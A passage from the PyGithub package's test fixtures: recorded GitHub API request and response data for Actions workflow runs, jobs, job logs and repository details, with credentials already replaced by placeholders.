b/PyGithub/check-suites/11050312883","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/48708658","head_commit":{"id":"06ec040b2eeef6c0316dd5abcda0608525a3f205","tree_id":"452f1c8de54c06ef19e0a76c5f9ecf427fd6ecfe","message":"Fix lint","timestamp":"2023-02-17T16:03:27Z","author":{"name":"Enrico Minack","email":"github@enrico.minack.dev"},"committer":{"name":"Enrico Minack","email":"github@enrico.minack.dev"}},"repository":{"id":446365735,"node_id":"R_kgDOGpsAJw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"User","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":446365735,"node_id":"R_kgDOGpsAJw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"User","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}} https GET api.github.com None /repos/PyGithub/PyGithub/actions/runs/4205440316/jobs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 15 Mar 2023 17:03:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"d6c4dda2ce21cc2b6af0b9e26d54105f2c393c9c7be001cc75ae4509ca805dc3"'), ('github-authentication-token-expiration', '2023-04-14 15:56:10 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1678903315'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '85DA:6A07:16C0EF63:171E6998:6411FA63')] {"total_count":5,"jobs":[{"id":11421878319,"run_id":4205440316,"workflow_name":"CI","head_branch":"tz-aware-2","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316","run_attempt":1,"node_id":"CR_kwDOGpsAJ88AAAACqMwILw","head_sha":"06ec040b2eeef6c0316dd5abcda0608525a3f205","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/11421878319","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/4205440316/jobs/7297536068","status":"completed","conclusion":"success","created_at":"2023-02-17T16:03:38Z","started_at":"2023-02-17T16:03:46Z","completed_at":"2023-02-17T16:04:52Z","name":"test (Python 3.7)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-02-17T17:03:46.000+01:00","completed_at":"2023-02-17T17:03:49.000+01:00"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-02-17T17:03:50.000+01:00","completed_at":"2023-02-17T17:03:51.000+01:00"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-02-17T17:03:51.000+01:00","completed_at":"2023-02-17T17:03:51.000+01:00"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-02-17T17:03:51.000+01:00","completed_at":"2023-02-17T17:03:57.000+01:00"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-02-17T17:03:57.000+01:00","completed_at":"2023-02-17T17:04:48.000+01:00"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-02-17T17:04:49.000+01:00","completed_at":"2023-02-17T17:04:50.000+01:00"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-02-17T17:04:52.000+01:00","completed_at":"2023-02-17T17:04:52.000+01:00"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-02-17T17:04:52.000+01:00","completed_at":"2023-02-17T17:04:52.000+01:00"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-02-17T17:04:50.000+01:00","completed_at":"2023-02-17T17:04:50.000+01:00"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/11421878319","labels":["ubuntu-latest"],"runner_id":2,"runner_name":"GitHub Actions 2","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":11421878551,"run_id":4205440316,"workflow_name":"CI","head_branch":"tz-aware-2","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316","run_attempt":1,"node_id":"CR_kwDOGpsAJ88AAAACqMwJFw","head_sha":"06ec040b2eeef6c0316dd5abcda0608525a3f205","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/11421878551","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/4205440316/jobs/7297536217","status":"completed","conclusion":"success","created_at":"2023-02-17T16:03:38Z","started_at":"2023-02-17T16:03:47Z","completed_at":"2023-02-17T16:06:09Z","name":"test (Python 3.8)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-02-17T17:03:46.000+01:00","completed_at":"2023-02-17T17:03:49.000+01:00"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-02-17T17:03:49.000+01:00","completed_at":"2023-02-17T17:03:51.000+01:00"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-02-17T17:03:51.000+01:00","completed_at":"2023-02-17T17:03:51.000+01:00"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-02-17T17:03:52.000+01:00","completed_at":"2023-02-17T17:03:56.000+01:00"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-02-17T17:03:57.000+01:00","completed_at":"2023-02-17T17:06:05.000+01:00"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-02-17T17:06:06.000+01:00","completed_at":"2023-02-17T17:06:07.000+01:00"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-02-17T17:06:07.000+01:00","completed_at":"2023-02-17T17:06:07.000+01:00"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-02-17T17:06:07.000+01:00","completed_at":"2023-02-17T17:06:07.000+01:00"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-02-17T17:06:07.000+01:00","completed_at":"2023-02-17T17:06:07.000+01:00"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/11421878551","labels":["ubuntu-latest"],"runner_id":4,"runner_name":"GitHub Actions 4","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":11421878769,"run_id":4205440316,"workflow_name":"CI","head_branch":"tz-aware-2","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316","run_attempt":1,"node_id":"CR_kwDOGpsAJ88AAAACqMwJ8Q","head_sha":"06ec040b2eeef6c0316dd5abcda0608525a3f205","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/11421878769","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/4205440316/jobs/7297536388","status":"completed","conclusion":"success","created_at":"2023-02-17T16:03:39Z","started_at":"2023-02-17T16:03:47Z","completed_at":"2023-02-17T16:04:48Z","name":"test (Python 3.9)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-02-17T17:03:47.000+01:00","completed_at":"2023-02-17T17:03:48.000+01:00"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-02-17T17:03:48.000+01:00","completed_at":"2023-02-17T17:03:50.000+01:00"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-02-17T17:03:50.000+01:00","completed_at":"2023-02-17T17:03:50.000+01:00"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-02-17T17:03:50.000+01:00","completed_at":"2023-02-17T17:03:54.000+01:00"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-02-17T17:03:55.000+01:00","completed_at":"2023-02-17T17:04:45.000+01:00"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-02-17T17:04:46.000+01:00","completed_at":"2023-02-17T17:04:47.000+01:00"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-02-17T17:04:48.000+01:00","completed_at":"2023-02-17T17:04:48.000+01:00"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-02-17T17:04:48.000+01:00","completed_at":"2023-02-17T17:04:48.000+01:00"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-02-17T17:04:47.000+01:00","completed_at":"2023-02-17T17:04:47.000+01:00"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/11421878769","labels":["ubuntu-latest"],"runner_id":5,"runner_name":"GitHub Actions 5","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":11421878999,"run_id":4205440316,"workflow_name":"CI","head_branch":"tz-aware-2","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316","run_attempt":1,"node_id":"CR_kwDOGpsAJ88AAAACqMwK1w","head_sha":"06ec040b2eeef6c0316dd5abcda0608525a3f205","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/11421878999","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/4205440316/jobs/7297536561","status":"completed","conclusion":"success","created_at":"2023-02-17T16:03:39Z","started_at":"2023-02-17T16:03:45Z","completed_at":"2023-02-17T16:04:50Z","name":"test (Python 3.10)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-02-17T17:03:45.000+01:00","completed_at":"2023-02-17T17:03:48.000+01:00"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-02-17T17:03:48.000+01:00","completed_at":"2023-02-17T17:03:50.000+01:00"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-02-17T17:03:50.000+01:00","completed_at":"2023-02-17T17:03:50.000+01:00"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-02-17T17:03:51.000+01:00","completed_at":"2023-02-17T17:03:54.000+01:00"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-02-17T17:03:55.000+01:00","completed_at":"2023-02-17T17:04:47.000+01:00"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-02-17T17:04:47.000+01:00","completed_at":"2023-02-17T17:04:49.000+01:00"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-02-17T17:04:49.000+01:00","completed_at":"2023-02-17T17:04:49.000+01:00"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-02-17T17:04:49.000+01:00","completed_at":"2023-02-17T17:04:49.000+01:00"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-02-17T17:04:49.000+01:00","completed_at":"2023-02-17T17:04:49.000+01:00"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/11421878999","labels":["ubuntu-latest"],"runner_id":3,"runner_name":"GitHub Actions 3","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":11421879256,"run_id":4205440316,"workflow_name":"CI","head_branch":"tz-aware-2","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316","run_attempt":1,"node_id":"CR_kwDOGpsAJ88AAAACqMwL2A","head_sha":"06ec040b2eeef6c0316dd5abcda0608525a3f205","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/11421879256","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/4205440316/jobs/7297536762","status":"completed","conclusion":"success","created_at":"2023-02-17T16:03:40Z","started_at":"2023-02-17T16:03:45Z","completed_at":"2023-02-17T16:05:03Z","name":"test (Python 3.11-dev)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-02-17T17:03:45.000+01:00","completed_at":"2023-02-17T17:03:47.000+01:00"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-02-17T17:03:47.000+01:00","completed_at":"2023-02-17T17:03:49.000+01:00"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-02-17T17:03:49.000+01:00","completed_at":"2023-02-17T17:03:49.000+01:00"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-02-17T17:03:50.000+01:00","completed_at":"2023-02-17T17:03:56.000+01:00"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-02-17T17:03:57.000+01:00","completed_at":"2023-02-17T17:04:58.000+01:00"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-02-17T17:04:59.000+01:00","completed_at":"2023-02-17T17:05:00.000+01:00"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-02-17T17:05:01.000+01:00","completed_at":"2023-02-17T17:05:01.000+01:00"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-02-17T17:05:01.000+01:00","completed_at":"2023-02-17T17:05:01.000+01:00"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-02-17T17:05:01.000+01:00","completed_at":"2023-02-17T17:05:01.000+01:00"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/11421879256","labels":["ubuntu-latest"],"runner_id":1,"runner_name":"Hosted Agent","runner_group_id":2,"runner_group_name":"GitHub Actions"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/WorkflowJob.testAttributes.txt0000644000175100001660000000304614756101563024214 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/actions/jobs/11421878319/logs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 302 [('Server', 'GitHub.com'), ('Date', 'Wed, 15 Mar 2023 17:01:58 GMT'), ('Content-Type', 'text/html;charset=utf-8'), ('Content-Length', '0'), ('Location', 'https://pipelines.actions.githubusercontent.com/serviceHosts/d560a817-28d4-4544-a539-eb35c2a56899/_apis/pipelines/1/runs/5/signedlogcontent/5?urlExpires=2023-03-15T17%3A02%3A58.1305046Z&urlSigningMethod=HMACV1&urlSignature=abcdefghijklmn'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1678903315'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'A66C:CC26:9983F9A:9BF3547:6411FA05')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/WorkflowRun.setUp.txt0000644000175100001660000005107514756101563022325 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0706795c32b8ad63fd9012d601a24d0836c7778471b0132c68efde0f0d5eaf9d"'), ('Last-Modified', 'Fri, 13 Jan 2023 11:44:59 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '20'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '40'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBC4:1668:8154:D152:63C15A7C')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-01-13T11:44:59Z","pushed_at":"2023-01-13T13:19:21Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13674,"stargazers_count":5733,"watchers_count":5733,"language":"Python","has_issues":true,"has_projects":t